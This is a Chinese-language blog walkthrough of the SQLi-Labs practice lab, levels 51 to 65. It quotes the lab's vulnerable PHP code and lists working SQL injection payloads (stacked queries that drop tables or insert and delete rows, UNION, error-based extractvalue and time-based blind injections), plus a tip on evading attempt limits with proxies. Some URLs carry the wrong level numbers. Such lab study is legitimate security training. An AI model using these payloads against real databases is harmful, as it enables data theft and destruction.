SQLi-Labs 学习笔记(Less 51-65)

点击打开链接

Less-51


本关的Sql语句为:

[plain]  view plain  copy
  1. $sql="SELECT * FROM users ORDER BY '$id'";  

因为此处用的是执行多个针对数据库的查询函数:mysqli_multi_query(),因此我们采用 Stacked injection,构建payload:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-51/?sort=1';drop table jack--+  


Less-52


本关的Sql语句为:

[plain]  view plain  copy
  1. $sql="SELECT * FROM users ORDER BY $id";  

与Less-50一样,报错信息不会在前台显示,我们同样采用 stacked injection 方法,payload:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-52/?sort=1;insert into users(id,username,password) values('16','jack','jack')--+  


Less-53


与Less-51类似,只不过没有报错信息,基于盲注,payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-53/?sort=1';delete from users where id=16--+  


Less-54


先打开网页查看 Welcome Dhakkan


②查看源码:

[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-54:Challenge-1</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style ="text-align:right">  
  10. <form action="" method="post">  
  11. <input  type="submit" name="reset" value="Reset the Challenge!" />  
  12. </form>  
  13. </div>  
  14. </right>  
  15. <div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  16. <font size="3" color="#FFFF00">  
  17.   
  18.   
  19.   
  20. <?php  
  21. //including the Mysql connect parameters.  
  22. include '../sql-connections/sql-connect-1.php';  
  23. include '../sql-connections/functions.php';  
  24. error_reporting(0);  
  25. $pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...  
  26. $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data  
  27. $times= 10;  
  28. $table = table_name();  
  29. $col = column_name(1);     // session id column name  
  30. $col1 = column_name(2);   //secret key column name  
  31.   
  32.   
  33. // Submitting the final answer  
  34. if(!isset($_POST['answer_key']))  
  35. {  
  36.     // resetting the challenge and repopulating the table .  
  37.     if(isset($_POST['reset']))  
  38.     {  
  39.         setcookie('challenge', ' ', time() - 3600000);  
  40.         echo "<font size=4>You have reset the Challenge</font><br>\n";  
  41.         echo "Redirecting you to main challenge page..........\n";  
  42.         header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );  
  43.         //echo "cookie expired";  
  44.               
  45.     }  
  46.     else  
  47.     {  
  48.         // Checking the cookie on the page and populate the table with random value.  
  49.         if(isset($_COOKIE['challenge']))  
  50.         {  
  51.             $sessid=$_COOKIE['challenge'];  
  52.             //echo "Cookie value: ".$sessid;  
  53.         }  
  54.         else  
  55.         {  
  56.             $expire = time()+60*60*24*30;  
  57.             $hash = data($table,$col);  
  58.             setcookie("challenge", $hash, $expire);  
  59.               
  60.         }  
  61.       
  62.         echo "<br>\n";  
  63.       
  64.         // take the variables  
  65.         if(isset($_GET['id']))  
  66.         {  
  67.             $id=$_GET['id'];  
  68.       
  69.             //logging the connection parameters to a file for analysis.  
  70.             $fp=fopen('result.txt','a');  
  71.             fwrite($fp,'ID:'.$id."\n");  
  72.             fclose($fp);  
  73.       
  74.               
  75.             //update the counter in database  
  76.             next_tryy();  
  77.               
  78.             //Display attempts on screen.  
  79.             $tryyy = view_attempts();  
  80.             echo "You have made : ". $tryyy ." of $times attempts";  
  81.             echo "<br><br><br>\n";  
  82.           
  83.               
  84.             //Reset the Database if you exceed allowed attempts.  
  85.             if($tryyy >= ($times+1))  
  86.             {  
  87.                 setcookie('challenge', ' ', time() - 3600000);  
  88.                 echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";  
  89.                 echo "Redirecting you to challenge page..........\n";  
  90.                 header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );  
  91.                 echo "<br>\n";  
  92.             }     
  93.           
  94.           
  95.           
  96.             // Querry DB to get the correct output  
  97.             $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";  
  98.             $result=mysql_query($sql);  
  99.             $row = mysql_fetch_array($result);  
  100.   
  101.             if($row)  
  102.             {  
  103.                 echo '<font color= "#00FFFF">';     
  104.                 echo 'Your Login name:'. $row['username'];  
  105.                 echo "<br>";  
  106.                 echo 'Your Password:' .$row['password'];  
  107.                 echo "</font>";  
  108.             }  
  109.             else   
  110.             {  
  111.                 echo '<font color= "#FFFF00">';  
  112. //              print_r(mysql_error());  
  113.                 echo "</font>";    
  114.             }  
  115.         }  
  116.         else  
  117.         {  
  118.             echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n<br><br>\n</font>";  
  119.             echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";  
  120.             echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;  
  121.         }  
  122.       
  123.     }  
  124.       
  125.   
  126. ?>  
  127. </font> </div></br></br></br><center>  
  128. <img src="../images/Less-54.jpg" />  
  129. </center>  
  130. <br><br><br>  
  131. <div  style=" color:#00FFFF; font-size:18px; text-align:center">  
  132. <form name="input" action="" method="post">  
  133. Submit Secret Key: <input type="text" name="key">  
  134. <input type="submit" name = "answer_key" value="Submit">  
  135. </form>   
  136. </div>  
  137.   
  138.   
  139. <?php  
  140.   
  141. }  
  142.   
  143. else  
  144. {  
  145.     echo '<div  style=" color:#00FFFF; font-size:18px; text-align:center">';  
  146.     $key = addslashes($_POST['key']);  
  147.     $key = mysql_real_escape_string($key);  
  148.     //echo $key;  
  149.     //Query table to verify your result  
  150.     $sql="SELECT 1 FROM $table WHERE $col1= '$key'";  
  151.     //echo "$sql";  
  152.     $result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());  
  153.        
  154.     $row = mysql_fetch_array($result);  
  155.       
  156.     if($row)  
  157.     {  
  158.         echo '<font color= "#FFFF00">';  
  159.         echo "\n<br><br><br>";  
  160.         echo '<img src="../images/Less-54-1.jpg" />';  
  161.         echo "</font>";   
  162.         header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );      
  163.     }  
  164.     else   
  165.     {  
  166.         echo '<font color= "#FFFF00">';  
  167.         echo "\n<br><br><br>";  
  168.         echo '<img src="../images/slap1.jpg" />';  
  169.         header( "refresh:3;url=index.php" );  
  170.         //print_r(mysql_error());  
  171.         echo "</font>";    
  172.             }     
  173.   
  174.   
  175. }  
  176.   
  177. ?>  
  178.   
  179. </body>  
  180. </html>  
  181.   
  182.   
  183.   
  184.   
  185.   
  186.    

此系列主要是一个进阶的学习,将前面学到的知识进行更深次的运用。这一关我们主要考察的依旧是字符型注入,但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。

因为已经知道了数据库名字叫做challenges,所以我们需要知道表名。

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-54/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='CHALLENGES'--+  

已经得到表名为lwu4odm244,接下来就是要找到该表的所有列
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-54/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='CHALLENGES' and table_name='lwu4odm244'--+  

我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在secret_O8GE列中,所以我们直接查看该列的内容

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-54/?id=-1' union select 1,group_concat(secret_BVUQ),3 from lwu4odm244--+  

将得到的密码进行提交。此处没有进行截图,可自行测试观看效果。

其实实际渗透测试当中,我们可以利用更换ip(可以考虑代理)或者更换浏览器等,要看服务器端检测什么内容进行限制。



Less-55


先打开网页查看 Welcome Dhakkan


②查看源代码:

[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-55:Challenge-2</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style ="text-align:right">  
  10. <form action="" method="post">  
  11. <input  type="submit" name="reset" value="Reset the Challenge!" />  
  12. </form>  
  13. </div>  
  14. </right>  
  15. <div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  16. <font size="3" color="#FFFF00">  
  17.   
  18.   
  19.   
  20. <?php  
  21. //including the Mysql connect parameters.  
  22. include '../sql-connections/sql-connect-1.php';  
  23. include '../sql-connections/functions.php';  
  24. error_reporting(0);  
  25. $pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...  
  26. $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data  
  27. $times= 14;  
  28.   
  29. $table = table_name();  
  30. $col = column_name(1);     // session id column name  
  31. $col1 = column_name(2);   //secret key column name  
  32.   
  33.   
  34. // Submitting the final answer  
  35. if(!isset($_POST['answer_key']))  
  36. {  
  37.     // resetting the challenge and repopulating the table .  
  38.     if(isset($_POST['reset']))  
  39.     {  
  40.         setcookie('challenge', ' ', time() - 3600000);  
  41.         echo "<font size=4>You have reset the Challenge</font><br>\n";  
  42.         echo "Redirecting you to main challenge page..........\n";  
  43.         header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );  
  44.         //echo "cookie expired";  
  45.               
  46.     }  
  47.     else  
  48.     {  
  49.         // Checking the cookie on the page and populate the table with random value.  
  50.         if(isset($_COOKIE['challenge']))  
  51.         {  
  52.             $sessid=$_COOKIE['challenge'];  
  53.             //echo "Cookie value: ".$sessid;  
  54.         }  
  55.         else  
  56.         {  
  57.             $expire = time()+60*60*24*30;  
  58.             $hash = data($table,$col);  
  59.             setcookie("challenge", $hash, $expire);  
  60.               
  61.         }  
  62.       
  63.         echo "<br>\n";  
  64.       
  65.         // take the variables  
  66.         if(isset($_GET['id']))  
  67.         {  
  68.             $id=$_GET['id'];  
  69.       
  70.             //logging the connection parameters to a file for analysis.  
  71.             $fp=fopen('result.txt','a');  
  72.             fwrite($fp,'ID:'.$id."\n");  
  73.             fclose($fp);  
  74.       
  75.               
  76.             //update the counter in database  
  77.             next_tryy();  
  78.               
  79.             //Display attempts on screen.  
  80.             $tryyy = view_attempts();  
  81.             echo "You have made : ". $tryyy ." of $times attempts";  
  82.             echo "<br><br><br>\n";  
  83.           
  84.               
  85.             //Reset the Database if you exceed allowed attempts.  
  86.               
  87.             if($tryyy >=($times+1))  
  88.             {  
  89.                 setcookie('challenge', ' ', time() - 3600000);  
  90.                 echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";  
  91.                 echo "Redirecting you to challenge page..........\n";  
  92.                 echo "<br>\n";  
  93.                 header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );  
  94.             }     
  95.           
  96.           
  97.           
  98.             // Querry DB to get the correct output  
  99.             $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";  
  100.             $result=mysql_query($sql);  
  101.             $row = mysql_fetch_array($result);  
  102.   
  103.             if($row)  
  104.             {  
  105.                 echo '<font color= "#00FFFF">';     
  106.                 echo 'Your Login name:'. $row['username'];  
  107.                 echo "<br>";  
  108.                 echo 'Your Password:' .$row['password'];  
  109.                 echo "</font>";  
  110.                   
  111.             }  
  112.             else   
  113.             {  
  114.                 echo '<font color= "#FFFF00">';  
  115. //              print_r(mysql_error());  
  116.                 echo "</font>";    
  117.             }  
  118.         }  
  119.         else  
  120.         {  
  121.             echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n<br><br>\n</font>";  
  122.             echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";  
  123.             echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;  
  124.         }  
  125.       
  126.     }  
  127.       
  128.   
  129. ?>  
  130. </font> </div></br></br></br><center>  
  131. <img src="../images/Less-55.jpg" />  
  132. </center>  
  133. <br><br><br>  
  134. <div  style=" color:#00FFFF; font-size:18px; text-align:center">  
  135. <form name="input" action="" method="post">  
  136. Submit Secret Key: <input type="text" name="key">  
  137. <input type="submit" name = "answer_key" value="Submit">  
  138. </form>   
  139. </div>  
  140.   
  141.   
  142. <?php  
  143.   
  144. }  
  145.   
  146. else  
  147. {  
  148.     echo '<div  style=" color:#00FFFF; font-size:18px; text-align:center">';  
  149.     $key = addslashes($_POST['key']);  
  150.     $key = mysql_real_escape_string($key);  
  151.     //echo $key;  
  152.     //Query table to verify your result  
  153.     $sql="SELECT 1 FROM $table WHERE $col1= '$key'";  
  154.     //echo "$sql";  
  155.     $result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());  
  156.        
  157.     $row = mysql_fetch_array($result);  
  158.       
  159.     if($row)  
  160.     {  
  161.         echo '<font color= "#FFFF00">';  
  162.         echo "\n<br><br><br>";  
  163.         echo '<img src="../images/Less-54-1.jpg" />';  
  164.         echo "</font>";   
  165.         header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );      
  166.     }  
  167.     else   
  168.     {  
  169.         echo '<font color= "#FFFF00">';  
  170.         echo "\n<br><br><br>";  
  171.         echo '<img src="../images/slap1.jpg" />';  
  172.         header( "refresh:3;url=index.php" );  
  173.         //print_r(mysql_error());  
  174.         echo "</font>";    
  175.             }     
  176.   
  177.   
  178. }  
  179.   
  180. ?>  
  181.   
  182. </body>  
  183. </html>  

一样的套路,payload:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-55/?id=-1) union select 1,group_concat(secret_XNSK),3 from zavy2e9297--+  


Less-56


本关的Sql语句为:
[plain]  view plain  copy
  1. $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";  

其余并没有很大的差别,payload:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-56/?id=-1') union select 1,group_concat(secret_ZJ3S),3 from 2d224f1jrt--+  


Less-57


Sql语句为:

[plain]  view plain  copy
  1. $id= '"'.$id.'"';  
  2. $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";  


其余没什么太大差别,payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-57/?id=-1" union select 1,group_concat(secret_VBKZ),3 from na3kmueucm--+  


Less-58


关键代码:

[plain]  view plain  copy
  1. $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");  
  2. $pass = array_reverse($unames);  
  3. echo 'Your Login name : '. $unames[$row['id']];  
  4. echo "<br>";  
  5. echo 'Your Password : ' .$pass[$row['id']];  


执行sql语句后,并没有返回数据库当中的数据,所以我们这里不能使用union联合注入,这里使用报错注入。

payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-58/?id=-1'or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+  


获取列:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-58/?id=-1'or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='mygzz18436'),0x7e))--+  


获取secret_1WUE的内容:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-58/?id=-1'or extractvalue(1,concat(0x7e,(select group_concat(secret_1WUE) from mygzz18436),0x7e))--+  



Less-59


区别就是这句Sql:

[plain]  view plain  copy
  1. $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";  


payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-59/?id=-1 or extractvalue(1,concat(0x7e,(select group_concat(secret_0V8F) from piaadlc6kd)))--+  


Less-60


区别在于:

[plain]  view plain  copy
  1. $id = '("'.$id.'")';  
  2. $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";  


payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-60/?id=-1") or extractvalue(1,concat(0x7e,(select group_concat(secret_PDXT) from 0akzt15auj)))--+  

Less-61


Sql语句为:

[plain]  view plain  copy
  1. $sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";  

payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-60/?id=-1')) or extractvalue(1,concat(0x7e,(select group_concat(secret_PDXT) from 0akzt15auj)))--+  


Less-62


这次的Sql语句为:

[plain]  view plain  copy
  1. $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";  


不过,错误信息没有显示在前台,也就是说我们要盲注了,payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-62/?id=1') and if(ascii(substr(database(),1,1))=99,1,sleep(5))--+  

Less-63


Less-63 和less62一致,我们只需要看到sql语句上 因此构造payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-62/?id=1' and if(ascii(substr(database(),1,1))=99,1,sleep(5))--+  


Less-64


Sql语句为:

[plain]  view plain  copy
  1. $sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";  


示例payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-62/?id=1)) and if(ascii(substr(database(),1,1))=99,1,sleep(5))--+  


Less-65


Sql语句为:

[plain]  view plain  copy
  1. $id = '"'.$id.'"';  
  2. $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";  


payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-62/?id=1") and if(ascii(substr(database(),1,1))=99,1,sleep(5))--+  


评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值